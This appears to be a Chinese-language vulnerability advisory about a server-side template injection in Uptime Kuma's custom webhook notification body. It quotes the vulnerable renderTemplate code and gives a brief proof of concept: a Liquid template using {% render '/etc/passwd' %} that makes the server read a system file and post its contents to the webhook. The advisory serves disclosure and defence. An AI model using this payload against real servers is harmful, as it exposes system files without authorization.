Uptime Kuma服务端模板注入漏洞解析:利用通知模板实现任意文件读取

本文详细分析了Uptime Kuma中存在的服务端模板注入漏洞,攻击者可通过恶意构造的通知模板读取服务器任意文件,涉及Liquid模板引擎的安全风险及具体利用方法。

Uptime Kuma服务端模板注入(SSTI)漏洞分析:通知模板导致任意文件读取

漏洞概述

在Uptime Kuma的某些通知类型(如Webhook、Telegram)中,send()函数允许用户控制renderTemplate输入,这导致了服务端模板注入(SSTI)漏洞,可被利用来读取服务器上的任意文件。

技术细节

根本原因

Uptime Kuma通过renderTemplate()渲染用户控制的模板时存在安全问题。该函数实例化Liquid模板引擎并在未进行清理的情况下解析模板参数:

1
2
3
4
5
async renderTemplate(template, msg, monitorJSON, heartbeatJSON) {
    const engine = new Liquid();
    const parsedTpl = engine.parse(template);
    // ...
}

在某些通知流程中,send()实现直接将用户可编辑的字段传递给renderTemplate()

1
2
3
4
5
6
7
8
9
// webhook.js
if (notification.webhookContentType === "form-data") {
    const formData = new FormData();
    formData.append("data", JSON.stringify(data));
    config.headers = formData.getHeaders();
    data = formData;
} else if (notification.webhookContentType === "custom") {
    data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- 此行导致SSTI
}

由于通知可由用户编辑,并且由Liquid引擎在没有适当沙箱或允许操作白名单的情况下进行渲染,攻击者可以提供精心构造的模板,导致服务器读取任意文件。

漏洞利用

概念验证(PoC)

  1. 打开Uptime Kuma → 通知 → 添加或编辑现有的Webhook通知
  2. 将通知类型设置为Webhook,并将请求体设置为自定义体
  3. 将以下JSON粘贴到自定义请求体中:
1
2
3
{
  "Title": {% render '/etc/passwd' %}
}
  1. 点击测试
  2. 您的webhook将接收到文件内容

影响评估

这是一个需要身份验证的服务端模板注入(SSTI)漏洞,允许经过身份验证的用户在服务器上执行任意文件读取操作。

安全指标

  • 严重程度: 中等
  • CVSS评分: 6.5
  • 攻击向量: 网络
  • 所需权限: 低权限
  • 用户交互: 无需

相关弱点

  • CWE-36: 绝对路径遍历
  • CWE-1336: 模板引擎特殊元素中和不当
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计